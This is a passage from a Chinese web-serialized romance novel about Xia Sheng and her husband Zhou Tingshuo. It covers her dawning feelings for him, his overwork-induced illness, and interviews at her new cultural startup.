夏声拿出手机,温柔的云被定格在屏幕上,她指尖不小心一滑,界面来到聊天软件。 视线落在某个对话框,上一条消息还是昨晚,对方说自己行程推后,还要几天才能回。 她随手点开,将照片发过去。 【夏声:你那里现在应该是上午吧。】 放下手机的瞬间,她恍然想起一件事。 她曾看过一本国外小说,中文版中将“我爱你”,翻译成“今夜月色很美”,当时夏声还觉得这翻译好没道理。 直到此时此刻,她偶遇晚霞,不由自主地将美景分享给某人时,忽然有些明白那句“月色很美”的含义。 夏声看着聊天框上,周庭朔的名字,有些愣怔。 消息已经不能撤回,她将手机按灭揣进口袋。 思绪像突然结团的毛线,变得乱糟糟。 晚霞也无心再赏,夏声上车坐了会,突然自顾笑了,像是认清,更是释怀。 半个小时后,夏声赶到安真家。 昨晚安真开了第一场个人直播,熬到后半夜才睡,结果听夏声说个开头,人就精神了。 不过她倒是并不惊讶:“你认清自己比我想象中还早。” 将温水放到夏声手里,安真就地坐在旁边的地毯上。 “其实那次我问你对他什么感觉的时候,已经察觉到了,只不过我发现你自己好像还不知道。” 当你开始想向一个人分享琐事时,就证明你开始在意一个人,甚至喜欢。 夏声就是在刚才的那个瞬间,意识到这点。 安真手肘支在她旁边的沙发扶手上,脸上尽是好奇。 “怎么样,第一次喜欢上一个人,什么感觉?” 抿了口水,夏声认真想想。 “我有点不知道怎么面对他了,我甚至希望他出差不要回来。” 安真恨铁不成钢,起身挤在她旁边坐下。 “你应该期望他快点回来,这样才能验证你的真心是否真。” “以及,他的真心在哪。” 周庭朔结束一天的行程,才有时间处理手机上的信息。 那张晚霞照片,他点开来看了一会,唇角不自觉上扬几度。 【我刚看到,现在这边恰好是傍晚。】 他的傍晚,是国内的午夜,满腹心事的夏声看到这条信息,装作睡着并没有回。 但躲得了初一,躲不过十五。 周庭朔总要回来。 安真早早给她支过招,反正他们已经结婚,只要他没有别的心肝,对她就是好消息。 “这件事一定要搞清楚,不然以后陷得深了,你再要抽身可就跟心脏里拔刺一般,疼得要命。” 夏声原本以为他明天才回,没想到他提前结束工作,改签机票,今天就到了。 密码锁刷开时,夏声以为是徐姐买菜回来。 她正给中岛台上的盆栽修剪枯叶,一抬头,愣在原地。 两人已有十多天没见,周庭朔原本以为自己提早回来,她会高兴。 可看她握着把剪子,迟迟不动,脸上甚至有一闪而过的慌乱。 “你怎么,今天回来了?” 身后的门再一次响起开锁声,这次才是徐姐。 见周庭朔已经回来,她忙打招呼。 “先生今天回来,怎么没提前说一声,我好准备饭菜。” “这是刚下飞机吧,一定累坏了,快进去歇着,我这就做饭,一会就好。” 连阿姨的反应都比她热情,周庭朔眸色渐深,不过并未多言,独自先回房间。 他回来时是中午,洗个澡换身衣服又出门去公司。 夏声下午本就约了秦莫,两人要去验收办公室的装修。 装修公司年底最喜欢积极结账的顾客,夏声验收又提了几个小问题,对方满口答应这两天就修好。 从公司出来时,秦莫提议请她吃饭。 “原来的公司还算做人,我前两天离职,今天年终奖居然还一分不少的发给我了。” 冬天,火锅店总是生意火爆,两人找了个最角落的地方坐下。 饭吃到一半,旁边桌一个小男孩捧着一块小蛋糕走过来。 “姐姐,今天我过生日,妈妈说快乐要跟别人分享,所以这个送你。” 蛋糕上的图案被切分,隐约看出是奥特曼形象。 夏声弯腰接过来,笑着说谢谢,小男孩脆生生地叫她不必客气。 对面秦莫弯着眼对他说句生日快乐,不一会儿小男孩又去而复返,捧着另一块送给她。 “我一次只能拿一块,这块送给你。” 小男孩实在太过可爱,夏声想想,去门外商场里的自动售卖机,买了个扭蛋回来,送他做礼物。 秦莫已经把涮好的肉夹了一大碗,放在她面前。 “没想到你还挺喜欢小孩子的,自己有这方面计划吗?” 这是第二个人说她喜欢小孩了,实际上,她只是喜欢别人家可爱又听话的幼崽而已。 “没计划,完全没想过。” 秦莫点头:“也是,你还这么年轻,其实我都没想到你会这么早结婚。” “你跟你老公感情很好吧。” 那条新年朋友圈发出去,秦莫才知道她结婚,但很细节的事自己也没问过,只是感觉两人这么快结婚,应该是认定了这个人。 肥牛烫得有些老,夏声一口一口嚼着,没说话。 他们的感情,算好吗? 也不算吧,比如周庭朔从回来到现在,两人再没联系过。 吃完饭,已经七点多,夏声开车路过明箴楼下,抬头看了眼,楼上三十几层仍亮着灯。 车窗外路过的行人,手缩在口袋里,因为冷硬的夜风,皆是神色匆匆。 夏声打开手机,拨通电话。 “你还没下班吗?我刚好开车经过你楼下,你要下班的话,我可以载你回去。” 嘴上说着不敢面对他,可真等他回来,忙得见不上,她又觉得心里缺点什么。 对面传来几声鼠标点击的声音:“你要接我下班吗?” 似乎听到他轻笑一声:“好,稍等我一下。” 其实打完电话,夏声就有些后悔,什么路过楼下,这话怎么听都觉得是自己上赶着来接他回家。 不过后悔也来不及了,不到十分钟,人已下楼。 只是,他没直接上车,反而绕过车头,打开她这侧的门。 “晚上你还有别的安排吗?” 夏声摇头:“没有。” 他让开半边,略一偏头:“那我来开车,带你去个地方。” 半夜三更,不知他卖的什么关子,不过她还是依言转移到副驾驶。 车子穿行在夜色里,越走车流越小,显然不是回家的路线。 直到又过一个路口,他在路边停车。 “现在换你来开,一会直走右侧上匝道,我们跑一下环城高速。” “你要陪我练车?” 周庭朔这几天虽然人在国外,但她练车的进度司机都会跟他汇报,所以她现在练过什么路面,开车什么水平,他很清楚。 “嗯,过几天我可能都没时间,只能今晚来。” 其实,也不是必须要他陪,不过既然已经到这,练练也无妨。 在市区她车开得都不快,到高速车速就必须上八十。 车子刚上高架桥,车身就开始晃,在她加速时甚至有些偏离路线中心,夏声本就没开过快车,一下子有些紧张起来。 周庭朔帮她看了眼后视镜:“是不是觉得方向有些不受控制。” “双手握紧方向盘,适当降速,看下后视镜,变道进中间车道,车身控稳再加速到合适车速。” 他的声音沉稳,语调不急不缓,渐渐安抚了夏声的紧张情绪。 一步步操作下来,果然晃动减轻些,车子也好控制了。 他这才解释:“天气不好的时候,上高架桥要注意侧边横风,如果感觉到车身晃动,方向盘发硬,不用紧张,按照我刚刚告诉你的方法处理就行。” 周庭朔是个很好的陪练,大多数时间他都是安静地坐在副驾,偶尔提醒一句。 没有故作姿态地握着车顶安全把手 ,好似害怕你车技差。 也没有疾言厉色,语调始终平缓沉和,不会给你压力,更不会让你厌烦。 练车的全过程,可以说体验极好。 夏声看过很多情侣陪练车的视频,很多都因为副驾嘴碎,吵得不可开交。 余光撇了眼安坐在旁边的周庭朔,她抿嘴笑了笑。 “我发现你是个很好的陪驾教练,情绪稳定,指令清晰,用语文明。” 听完她的夸奖,他波澜不惊:“这样,如果哪天公司经营不善,我需要另谋职业,这也算是一条出路。” 此时他们已经下高速,路口红灯前,夏声踩下刹车,转头看他。 “我就随口一说,就算明箴真有一天破产,你也不至于去做驾校教练吧。” 他手肘搭在车门边,支着额头,认真思考的样子。 “嗯,到时候你应该也创业成功,我还可以仰仗你。” 这话更是说得远,但夏声听来却受用,起码在这段婚姻关系中,他将她看作平等的,可以互相支持依靠的另一半。 她是在认真创业这件事,他相信,并认为她能成功。 第29章 第29章给他十五分钟 不知是不是福宝独自在家无聊。 听到两人开门声,它小跑到门口,先是在夏声脚边转了一圈,随后又用尾巴蹭了蹭周庭朔的裤脚。 往常它从不主动找他,更不用提去蹭。 周庭朔看见黑色西裤上挂上的白色细毛,挑起眼皮看着它。 福宝已经被夏声抱进怀里,她压着嗓子,替猫咪说话。 “家里好久没见到你,福宝应该是想你了。” 她握着小猫爪,还跟他打个招呼。 周庭朔想起中午回来,她见他那冷淡地反应,语调平直地重复了她的话。 “原来好久不见,它都会想我。” 言外之意。 夏声抱着福宝去拿冻干零食,假装没听懂。 晚上,周庭朔照例会去书房工作,夏声一个人在沙发上找电影。 盖好毯子,抱好抱枕,电影开始。 播到一半,她突然隐约听到头顶上方有呼吸声。 这次她看的是个恐怖片,为沉浸观影,还特地把灯都关了,窗帘也拉起来。 房间内皆是电视屏幕投出的昏暗光影,伴随着诡异的电影音效,夏声的汗毛登时立起来。 这瞬间,她希望是自己幻听,甚至不敢回头去看。 直到一声清浅的咳嗽声响起。 足够清晰,就在她身后。 夏声原本是曲腿坐在沙发上,此刻骤然受惊,整个人立刻蜷成一团,急促地叫了一声。 下一秒,一只温热的手掌按在她肩头。 “是我。” 心已经提到嗓子眼,夏声反应了好几秒,才缓缓抬头。 “你怎么走路没声音啊。” 她吓得脸色发白,手心掐出指甲印,连埋怨的声音都没底气。 周庭朔已绕过沙发,将电影暂停,转头看她。 “这么怕,为什么还要看。” 电视画面刚好定格在昏暗场景,夏声往沙发里缩了缩。 “就是怕才要看,你不懂,就像吃辣,越辣越想吃。” 夏声将怀里抱枕放下,探身拿起遥控器,画面继续播放。 旁边的身影默默陪她看了几分钟,转身回去时,语气淡淡地建议。 “别看太晚,小心晚上睡不着。” 夏声整个身子裹在毯子里,故作镇定:“不会,我胆子挺大的。” 自称胆大的夏声,很快惨遭打脸。 十点钟就上床的她,半个小时后仍不敢关灯。 一闭眼,都是片子里光怪陆离的画面,异常兴奋的思绪怎么也平静不下来。 周庭朔进来时,她已经放弃挣扎,正坐在床上翻看招聘网站的信息。 前几天公司挂出去的用人需求,这几天已经陆续收到简历。 他看眼时间:“怎么还没睡?” “哦,不困,刚好处理点事。”像是为迁就他,又问,“你要睡了吧,那我关灯。” 周庭朔心照不宣地看她一眼:“嗯。” 身边有了活人气息,夏声终于不那么怕了,黑岑岑的空气中,她听到周庭朔轻缓的呼吸声,渐渐绵长平稳。 这么快就睡着了? 可她的思绪还是活跃,根本睡不着。 摸着黑睁着眼睛,她一会看向头顶,一会看向床边,总觉得在她看不见的地方,有什么脏东西。 头发摩擦着绸缎枕面,发出细碎的声音。 旁边安静的身影,突然动了一下,夏声猛地停住动作,听到一声鼻息。 “身边有人还怕?” 他骤然开口,夏声措手不及:“我以为你睡着了。” 被子上,一只手探过来,摸到她的胳膊,略一用力将人拉进怀里。 夏声脑袋埋在他胸前,瓮声瓮气:“我没怕。” “嗯。”他声音带着闷,“但我昨晚赶晚班飞机,现在需要倒时差。” “你迁就下。” 台阶给足她,夏声终于安静下来,不再出声。 电影看得太投入,后果就是梦里也在重现。 梦境中,那具无头尸在夏声身后紧追,距离越来越近,几乎抬手就要抓到她。 慌乱中,夏声跑进昏暗的楼梯间,绿色的安全出口灯一闪一闪,她向前奔入,却脚下一空。 下一秒,失重感让她骤然睁开眼。 晨曦从厚重的窗帘下透进来,夏声眼前是被抓皱的睡衣前襟,视线上抬是明朗的下颌,以及正盯着她的深邃眼睛。 两人还保持着拥抱的姿势,姿态甚至比昨晚入睡时还亲密。 四目相对,夏声不自觉垂下眼睫。 “早啊。”她先开口。 这还是第一次,她从床上醒来时他还在。 说不清什么感觉,但有些尴尬。 夏声转身,想要从他怀里钻出去,却被人从腰后扣住。 她莫名抬头,再次对上他沉不见底的眼眸。 “不起床吗,几点了?” “九点多。” 他的嗓音格外哑,带着沙沙的质感,倦懒地落在她耳边。 “啊?那你上班岂不是迟到?” “嗯。”他说完,终于松开她,别过头咳了两声。 得了自由的夏声刚起身,又回头看他。 “你是不是不舒服?” 很反常,平时雷打不动八点前出门的人,如果不是特殊原因,怎么会睡到现在。 她起身将窗帘拉开,屋内顿时光线大好。 周庭朔此时刚起身,单手扶着额头,眉头紧蹙。 “是时差原因,还是生病了?” 床头柜上的手机传来提醒,他垂眸看着,随后拿起手机回电话。 “再有半小时到公司,通知项目组把预案准备好,我看完再给对方发过去。” 挂断电话,发现夏声仍在看他,于是松了表情,往浴室去。 “别担心,我没事。” 十分钟后,他重新出现,衬衫西装穿戴齐整,看不出什么异样。 徐姐早做好了饭,想留他吃些,被他以来不及为由拒绝,直接推门离开。 夏声捧场,坐在桌边吃着刚煮出来的小馄饨。 “先生工作也太忙了,身体这样能吃得消吗?” “我听着他嗓音都不对了。” 工作狂一听工作就顾不得其他,夏声也不能不让人上班去。 吃完饭,夏声出门。 今天订好跟周仪娇介绍的那位朋友见面。 那朋友跟夏声年纪相同,穿着宽大的麻纺长裙,戴着单侧的流苏耳环,颇有些搞艺术的气质。 两人会面第一眼,对方先满意地拍起手。 “不亏是娇娇夸漂亮的人,有没有兴趣做我作品的模特?” 夏声听周仪娇说过,韩子弋是个直来直去的性格,不爱绕弯子。 她直入主题:“模特的事以后再说,先说正事。” 听完夏声自己公司未来的方向和规划,韩子弋笑着摇头。 “我 之前合作过的都是有相对成熟IP的公司。” “你的公司,想要盈利,至少需要三年。” “撑得下去吗?” 文创公司,一要有品牌IP,二要有广泛传播,三要有客户认可度。 初创品牌,特别是她还要做跨境,是非常难的。 夏声垂眸,语调平和:“撑不下去就散伙呗,不做怎么知道行不行?” 韩子弋摆弄着手里一串檀木珠,上面的镂雕花纹,出自她本人之手。 听着夏声云淡风轻地话,她笑而不语。 半晌,将手串戴回手腕,随即朝夏声伸出手。 “那咱们就一起试试?” 投缘的人,聊起来就忘记时间。 等再看手机,安真的消息已经发了一大堆。 明天一早,安真要赶早班飞机回锦城。 她放假一直没走,再不回家,她妈妈该吃了她了。 夏声自告奋勇,明天开车送她去机场。 两人提前商量,不如她前一晚就住安真那,省得一早起床再去接她。 这是周庭朔还没从国外回来时就定好的事。 跟韩子弋告别后,夏声就准备往安真家去,路上想起应该跟周庭朔说一声。 电话打过去,没人接。 开车路上不好发信息,她又打了一遍,这次终于接通。 不过是他助理何归。 “周总现在在忙,不太方便接电话。” 已经到安真小区门口,她索性先在路边停下。 “他忙,那我一会再给他打吧。” 她正想挂断,何归又开口。 “您一会打电话,可不可以劝劝周总。” 夏声手指停在挂断按钮前,问:“他怎么了?” “从早上来,周总嗓子就不太舒服,到下午已经哑的说不太出话。” “咳嗽也越来越厉害,至于有没有别的不舒服,还看不出来。” “但状态确实不太好,这样子不应该再工作了。” 听描述,像是感冒或者嗓子发炎,夏声回复知道了。 安真的卧室,衣服摆了满满一床,东西也翻得到处都是,不知道还以为她是要逃荒。 “你不懂,回家必须光鲜亮丽,怎么说我也是个网络红人,不能掉价。” 实在看不下去她的纠结症,夏声快速帮她挑选衣服,又收拾柜子。 等弄好行李箱,已经是一个多小时以后。 安真去烧水的功夫,夏声又拨通了电话,这次是周庭朔本人接的。 “喂,有什么事吗?” 他的声音,与其说是声,不如说是气。 嗓子已经接近全哑,比早上严重太多。 夏声拧眉:“你先喝点水再说话,嗓子怎么成这样了?” 对面顿了顿,似乎绕开话筒咳了几声,又回来。 “一会喝。” 不知道是不是工作狂都不拿身体当回事,夏声语调下沉。 “还有很多工作吗,不能现在休息?” “你都说不出话,还能布置工作?” 他短促地“嗯”了声,夏声听到他办公室电话又响。 周庭朔清下嗓,这下才算出几个音。 “我忙完这点,就回去休息,很快。” 他说得很快没有任何可信度,因为两个小时后,夏声看了下家里密码锁的开门记录,并没有人回去。 犹豫片刻,夏声起身拿起门口的外套,准备出门。 安真刚冲好蜂蜜红茶,就见她在门口换鞋。 “干嘛去啊?” “亲爱的,晚点如果我没回来,就明天一早五点半楼下等你,放心肯定给你按时送到机场。” 已经过晚高峰,夏声恰遇一路绿灯,赶到明箴时,不过十几分钟后。 三十二层办公室里,等着签批的助理看到夏声进来,自觉退出门。 周庭朔目光隐在无框眼镜后,似乎惊讶于她的突然出现。 口袋里的喉糖还带着室外的凉意,夏声拿出一颗,放在他面前。 他默默剥开吃下,看着夏声坐在他对面的椅子上。 “给你十五分钟工作收尾。” “不许讨价还价。” 十五分钟后,秘书处众人准时目送老板下班。 第30章 第30章没什么你不能看的 浓浓夜色下,银色的车身安静穿梭于城市道路中。 周庭朔靠在椅背上,双目轻阖。 夏声将音乐关掉,专心开车,两人均是一言不发。 等到车子再停下来,已经到医院门口。 副驾的人好像睡着了,夏声轻轻推了他一下。 “起来先去医院看看,看完再回去睡,在车上睡会着凉。” 车上空调开得很足,倒不会冷,周庭朔看了眼窗外,眉心一沉。 “不用看,回去休息一晚就好。” 夏声不管他这些,探过身帮他把安全带打开,示意他没得商量。 医院的VIP特需通道,所有流程都有人引导,周庭朔被她按在休息室,看着她忙前忙后。 医生给开了抽血检查,排除病毒感染和感冒,最后确诊为过度劳累后免疫力下降的表现。 “免疫力低需要人体自身调节,多加休息就会好一些。” “这段时间抵抗力会明显差点,但目前看来只是身体有些炎症,我一会开些消炎药,回去按时服用即可。” 夏声特意打开手机备忘录,医嘱一条条记下,仿佛课堂笔记。 医院的白灯曝落在她发顶,极好的发质映出一道光圈,随着她的动作,转变形状。 夏声认真的时候,会微微偏过头,视线笔直地看向对方,再间隙落在手机屏幕上。 直到医生离开,她转头与周庭朔对上视线。 “听见没,医生让你休息。”语气大有权威背书过后,底气充足的意味。 他没有反驳,无声点头。 两人回到碧水华汀,夏声直接将周庭朔推进卧室。 “今晚,除了床上,你哪也不许去,只能好好休息。” 近些年来,周庭朔保持着定期运动的习惯,生病的次数很少,其实今天这个情况,也远算不得生病。 只是身体调节机能变差,略有不适而已。 但看着她郑重其事,一板一眼的样子,他还是收起这些话,默默顺从她的安排。 医院的药一共两种,夏声按照说明,分好剂量连带一杯温水,送进卧室。 床上空着,浴室里传来水声。 夏声将东西放在床头,转身准备出去时,发现他新拿出来的睡衣还整齐摆在床尾。 洗个澡再着凉,更是麻烦。 她捡起衣服到浴室门口敲门:“周庭朔,你睡衣忘了拿进去,我帮你放门口?” 刚将不远处的软凳拉过来,准备放下睡衣,浴室门从里面打开。 : 一股湿润的热气扑来。 周庭朔腰间松散地围着条浴巾,一手搭在门把上,看着她。 未着寸缕的上身就这么展露眼前,夏声立刻偏过头,迅速将手里的睡衣推进他怀里。 “你赶紧穿好再出来,别感冒。” 接着从外面拉上浴室门,重重吐了口气。 不过一两秒的时间,刚刚那副称得上香|艳的画面就印进脑子里。 氤氲的灯光,明晰的锁骨形状,紧致的肌肉线条,还有未来得及擦干的透明水迹,从胸口一路隐入腰间。 夏声猛地拍下额头:“他是个病人啊!色令智昏,色令智昏!” 发愣的功夫,人已从身后出来。 藏蓝色的暗纹睡衣衬得他肤色更白,正在系领口扣子的手指动作缓慢,指骨分明。 扣子上方就是突出的喉结,在夏声视线落到那的时候,他的喉结刚好缓缓碾动。 “在看什么?” 声音还是哑,夏声匆忙抬头,随后指指他的头发。 “你头发还没吹干。” 扣子系好,他坐回床边,不在意地向后拨下头发:“不用吹。” 虽然不算生病,但累也是真累,洗过澡后的困倦意味更浓,此刻周庭朔只想休息。 见他湿着头发就要上床,夏声一把拽住他。 “不行,你等会再睡。” 去浴室取来吹风机,夏声站在他旁边,身高刚好够到他发顶。 开到暖风,风量调小,细致地从他额前向后慢慢吹。 周庭朔的头发浓密乌黑,发际线更是优越,夏声的手不断从他发间穿过,刚好能 闻到他洗发露的味道。 “你这发量,不知道要引得多少人羡慕嫉妒恨。” 她的话交杂在吹风机的噪音里,周庭朔没听清,抬头眼神询问。 此刻她已经吹到他脑后的位置,两只手本就分在他两耳左右,她低头他抬头,视线正好迎上。 平日的周庭朔总是规整的,一丝不苟的,完全内敛的性格更让人觉得不好亲近。 可此刻他头发凌乱,唇上略微泛干,毫不设防地坐在这,终于消磨掉些距离感。 头发已经干的差不多,夏声关掉吹风机。 “我说,你这个时候还挺有活人感的。” 周庭朔的目光追随着她收吹风机的动作,似乎在问什么意思。 夏声沉默,总不能说,他平时像个人机一样,吃饭工作睡觉,一点情绪没有,跟机器人没区别。 “没什么,你吃了药把水都喝了就睡吧。” 话题到这本该结束,夏声将吹风机放回浴室,出来时他已经上床躺好,眼神平静地追随她到门口。 “昨天夜里你害怕抱着我睡觉时,我的活人感应该更足。”他语调平整地纠正她刚刚的结论。 一句话,又让她想起昨天丢人的自己。 夏声回头,半建议半警告:“嗓子不舒服就少说话,快睡!” 被“凶”了的周庭朔,依言闭上眼睛。 这一觉,他睡到大天亮。 周庭朔醒来时,发现身旁的位置还是昨天的状态,显然没睡过人。 出门来到客厅,徐姐正在收拾碗筷,见他出来,忙招呼他先坐。 “粥马上就好,您稍等几分钟。” 家里似乎没有第三个人,福宝懒洋洋地趴在落地窗前,竖起耳朵听了听,又合上眼睛继续睡。 “她呢?” 经过一晚的休息,他嗓音虽然还没完全恢复,但已能发出声音。 徐姐正将几盘清淡小菜摆上桌:“我一早来就没见到太太了。” 他垂眸坐在那,半晌没再出声。 直到徐姐把饭菜全部摆上桌。 “您多吃点,这样身体才好得快。” 碗里的粥熬得浓稠清香,周庭朔缓缓抬手,将碗推开。 似乎是没胃口,他漠然起身,又要回房间。 徐姐赶紧从厨房出来,叫住他。 “您不吃吗,要是不合口味,您想吃什么跟我说我重新做。” 他想说不用,徐姐已拿出一个小分装盒,上面还贴了便利贴。 “太太特意嘱咐,让您吃了饭再吃药,你看这药都一样样分好放这了。” 她将东西放在桌上,又转头回厨房,周庭朔走过来,拿起那张便签看了下,字迹清秀工整,确实是夏声的笔迹。 身后徐姐端着另一只碗出来:“您实在不想吃饭,把这百合雪梨汤喝了吧,清肺润喉。” “我来的时候就煲在炖盅里了,应该是太太提前做好的。” “也不知道太太几点出门,我来时看炖盅上的定时刚开始,她应该也是刚走没多久。” 徐姐一般早上六点就会进家做饭,夏声大概天还没亮时,就准备这些东西了。 周庭朔看眼那碗雪梨汤,算是松口:“放那吧。” 夏声回来时,徐姐刚收拾完。 早上去机场的路通畅,结果回来赶上车流,堵了好一会。 她换完鞋,歪头看眼主卧的方向,压低声问徐姐。 “他一直没起来?” 徐姐笑着应:“刚起来吃了饭和药,还有梨汤也喝了,这会刚回房间。” 夏声点点头,轻手轻脚地走到主卧门口,推开一道缝,发现他并没睡。 主卧的窗前,他坐在扶手椅上,低头看书。 听到身后的声音,转头看向她。 “还不错,有自觉,没又去书房跟你的工作难舍难分。”她点头认可。 昨夜夏声基本没睡,可能因为今天要早起送安真,她在客卧躺了两三个小时没睡着,索性就起来给他熬梨汤。 煲好盅,又准备了便签交代徐姐,才开车出门。 早上安真还说她黑眼圈惊人,下午应该化化妆再给人面试。 “不然人家会以为你们是扒皮公司,连老板的黑眼圈都熬这么大” 下午夏声要去公司,她约了几个人来面试。 这边周庭朔合上书,问:“你昨晚又去客卧了?” 她正要去换衣服:“嗯,怕影响你休息。” 听他声音好多了,夏声露出欣慰的表情。 “看来休息还是有用吧?” 正说着,他手机响起来,就算他要休息,公司里有些事也要通过他。 夏声转身去衣帽间。 主卧配有一间步入式衣帽间,原本一列全部是成套的纯色系定制西装,现在有一小部分换成了各种颜色款式的女装。 夏声从里面拿出家居服,转身时不小心带到旁边一列的抽屉。 低头看一眼,各种深色系同品牌的男士内裤,叠放整齐码在里边。 这人真是表里如一,整个家估计都找不到一点花哨跳脱的物品。 夏声手搭在抽屉上,正要推回去,周庭朔走进来。 他视线落在她的动作上。 抽屉仿佛烫手,夏声匆忙将其合上,反而有一种被做坏事当场抓获的既视感。 “那个,不知道怎么它自己就开了,不是我要打开看。” 周庭朔走过来,在她面前拉开抽屉,顺手抽出一条,合上。 “这个家里没有你不能看的地方。”他转身在另一边的柜子里,拿了套运动装。 “你要运动?” 他手已经搭在睡衣下摆,略一躬身,身体从衣领脱出,宽厚紧实的背,距她几步远。 画面转变太突然,夏声眼一热,过了两秒才转头不看:“你现在应该休息,而不是运动。” 声音从身后传来:“只是慢跑一会,总待着身体也僵。” 这人临走还不忘补一句。 “我说过,家里没有你不能看的。” 30-40 第31章 第31章帮他涂药 等夏声从衣帽间出来,周庭朔已经不在,大概去锻炼了。 夏声拿着电脑,在客厅沙发坐下,下午面试她还要准备,于是跟秦莫在电脑上讨论,定下要问的问题。 两人都没什么经验,一时没有头绪。 一个小时后,运动完的周庭朔,就看到客厅愁眉不展的夏声,他洗过澡自顾坐在沙发另一端,也不打扰她,手里拿着Pad翻看。 没多久,福宝似乎觉得沙发人气旺,跑到那开始蹭夏声。 她手指噼里啪啦,在键盘上忙得很,视线盯着屏幕,哄它走。 “乖,妈妈忙着呢,你一边自己玩去。” 没得关注的福宝,转到沙发另一侧,抬头看了眼面前冷淡的男人,喵呜叫两声,好像很委屈的样子。 周庭朔微微扬眉,看那胖猫竟在他脚边趴下,绒呼呼的皮毛贴在他的脚踝,像是不准备走了。 “她也不是只不理你。”他瞥了眼旁边正忙的夏声。 这话有种同病相怜的意味,但夏声两耳不闻窗外事,完全没注意到旁边发生什么。 半个多小时后,记录问题的文档保存,她跟秦莫约好下午见,才合上电脑。 再转头,发现沙发另一侧,福宝靠着某人正呼呼大睡。 周庭朔身体似乎抗拒,但终究没把猫赶跑,勉强端坐在那,凝神看文件,偶尔抬手摸了摸颈侧,好像哪不舒服,微微蹙眉。 等他手放下,夏声才发现,他脖子上起了星星点点的红。 “等下,你是不是过敏了?” 周庭朔掀开袖子,才发现身上也起些疹子,微红略痒,倒不算太严重。 夏声起身把福宝从他身边移开,仔细观察他身上的红疹。 福宝不满地摇摇尾巴,走到另一边团成一团。 它与男主人的第一次亲密接触,就这样以失败告终。 “去医院吧,我不知道你猫毛过敏。” “养猫的时候你也没说。” 他将袖子放下,并不在意。 “我的过敏原里没有猫毛这一项,应该是免疫力低导致的阶段性 过敏。” 但不管他怎么说,过敏这事可大可小,不能随便含糊。 夏声把福宝送回卧室,就拉着周庭朔往医院赶。 医生诊断,确实是因为免疫力低导致的短暂性过敏,于是又给他开些抗过敏药。 一来一回,时间就差不多到下午,夏声准备将周庭朔送回去,再去公司。 路上等红绿灯的间隙,她不自觉看着前方出神,直到身后的车鸣笛。 周庭朔提醒她:“变灯了。” 一路上她明显注意力不太集中,在掩唇打过第三个哈欠时,两人终于到家。 夏声停车等他下车,周庭朔却看着她没有动作。 “你昨晚睡了几小时?” 他突然发问,夏声眼珠转了转:“可能一两个小时?我也记不清了,反正迷迷糊糊睡不踏实,干脆凌晨就起来了。” 夏声眼见他叹口气,从副驾下来绕到她这边。 车门拉开:“下车,我送你去公司。” “啊,我自己能开车啊,你今天就是休息的,不用送我。” 他站定在那,盯着她看了会,直接俯身上前,探进驾驶室。 夏声下巴向后,整个人退到椅背上,驾驶室空间本就不大,他探身进来更是没有任何挪动空间。 硬挺的侧脸就在她唇畔不远处,夏声压下视线,看见他将自己的安全带打开。 只一瞬,他又退出去,夏声还想说什么,被他抓着手腕带出来。 “我不想明天看到有人疲劳驾驶出车祸的新闻。” 知道他是为自己好,夏声退而求其次,想个折中的办法。 “要不我打车吧,这样总安全了。” 刚坐进车里的周庭朔支起眼皮瞧她:“我的车技很差?你就这么不想坐。” 算了,夏声闭上嘴,安静上车。 到公司的时候,秦莫还没来。 夏声拿出钥匙打开玻璃门上的锁,侧身对周庭朔做了个请进的姿势。 人已经送她到楼下,总没有不让人上来看看的道理。 室内刚装修好,一切都是全新的。 门口右手边是一块小的接待区,墙上艺术字体写着,云声文化发展公司。 往里是公共办公区域,半人高的透明隔断将空间划分为数个工位,地上铺着静音地毯,墙角还放着几盆高大的绿植。 中规中矩的装修风格。 公共区域再向里,有一条走廊,里面有两间独立办公室,一间会客室,一间会议室,还有一个后勤杂物间。 夏声指了指靠里那间办公室,磨砂玻璃门上,挂着“总经理办公室”的牌子。 “这间是我的。” 办公室不算大,但该有的配置也都有,夏声走进去,绕过办公桌,坐进黑色的办公椅。 周庭朔站在她对面,粗略打量一番,表示认可。 “很不错。” 明箴三十二层,他办公室里的休息室都比她这间屋子大。 但对夏声来说,她很满意。 面试定在下午两点,还差十五分钟时,秦莫匆匆赶来。 “走到一半发现我电脑忘带了。”她一抬头,才发现办公室里还有另一个人。 “是……周先生?”这是猜的。 跨年那张照片只能看到剪影,但与眼前人相对比,身型气质都符合,应该没错。 “你好,我是周庭朔。”他绅士地率先开口。 秦莫微笑点头:“你好,我是秦莫,声声的学姐。” 寒暄过后,周庭朔自觉退到一边,夏声两人要去会议室准备面试。 临走前,夏声问他:“你要不先回去吧,我这面试什么时间完也没有准。” 他将她办公室的窗打开,站在窗前回头看她。 “不用管我,去忙吧。” 秦莫坐在会议室,微微侧身跟夏声说悄悄话。 “你家周先生不用上班吗,还是特意抽时间送你来的,看起来还怪体贴的。” 夏声把几个求职人员简历分好,抬眼瞟下对面,她办公室的门没关,隐约能看到他挺阔的背影。 “他今天刚好休息。” 至于体贴,外人看好像是那么回事,但实际不过是他信不过自己,怕她开车路上睡着罢了。 面试一共七个人,分两个岗位,大概用时一个多小时。 最后一位应聘者结束面试时,已经下午三点半,他出门刚好听到对面办公室有人在通电话。 “第一阶段四千五百万的预算已经不低,转化率如何有目共睹,如果下一阶段还是这个效率,考虑预算减半。” 紧接着声音的主人走出来,男人五官英俊,气质矜贵,手上的电话刚挂断。 这位刚结束面试的应聘者,想都没想,立刻打招呼。 “领导好,我是今天来应聘的,我叫赵文宾。” 小伙子身上的白衬衫还带着崭新的折痕,鼻梁上一副黑框眼镜,典型初入职场的学生模样。 目睹一切的秦莫和夏声默默掩笑,周庭朔停住脚步。 他略一偏头,示意会议室里:“我不是领导,如果你能应聘成功,那两位才是你领导。” …… 出门后的赵文宾懊恼地抓下头发,第一次面试就认错上司,搞不好这一次又要泡汤。 他是今年毕业的应届生,学校并不算好,如今就业形势这么差,每一次面试机会对他来说都弥足珍贵。 下次再不敢多嘴了。 前面一位面试者还没走,看他出来特意来打听。 “你觉得这公司靠谱吗,我看这里一个工作人员都没有,完全新公司,不会干着干着就跑路了吧?” 公司看着是不大,但赵文宾刚刚听到过那位“领导”打电话,几千万的项目从他口中说出来仿佛稀松平常,再看他穿着气度…… 他是个实心眼,把自己的猜测都说了:“刚刚我看那里边办公室出来个人,一看就是有点身份的,手上的手表我在网上见人盘点过,说是市中心一套房的价。” “他肯定跟这家公司有关,没准这是哪个富二代想创业,先办这么个小公司练手的,反正我觉得有工作就行,我不挑。” 被人称作“富二代”的夏声正在会议室里跟秦莫苦恼。 几个来应聘的,都各有长短,没有特别亮眼的,也不至于特别差,一时难以取舍。 周庭朔拿起桌上的简历,以及她刚做的记录,看了看。 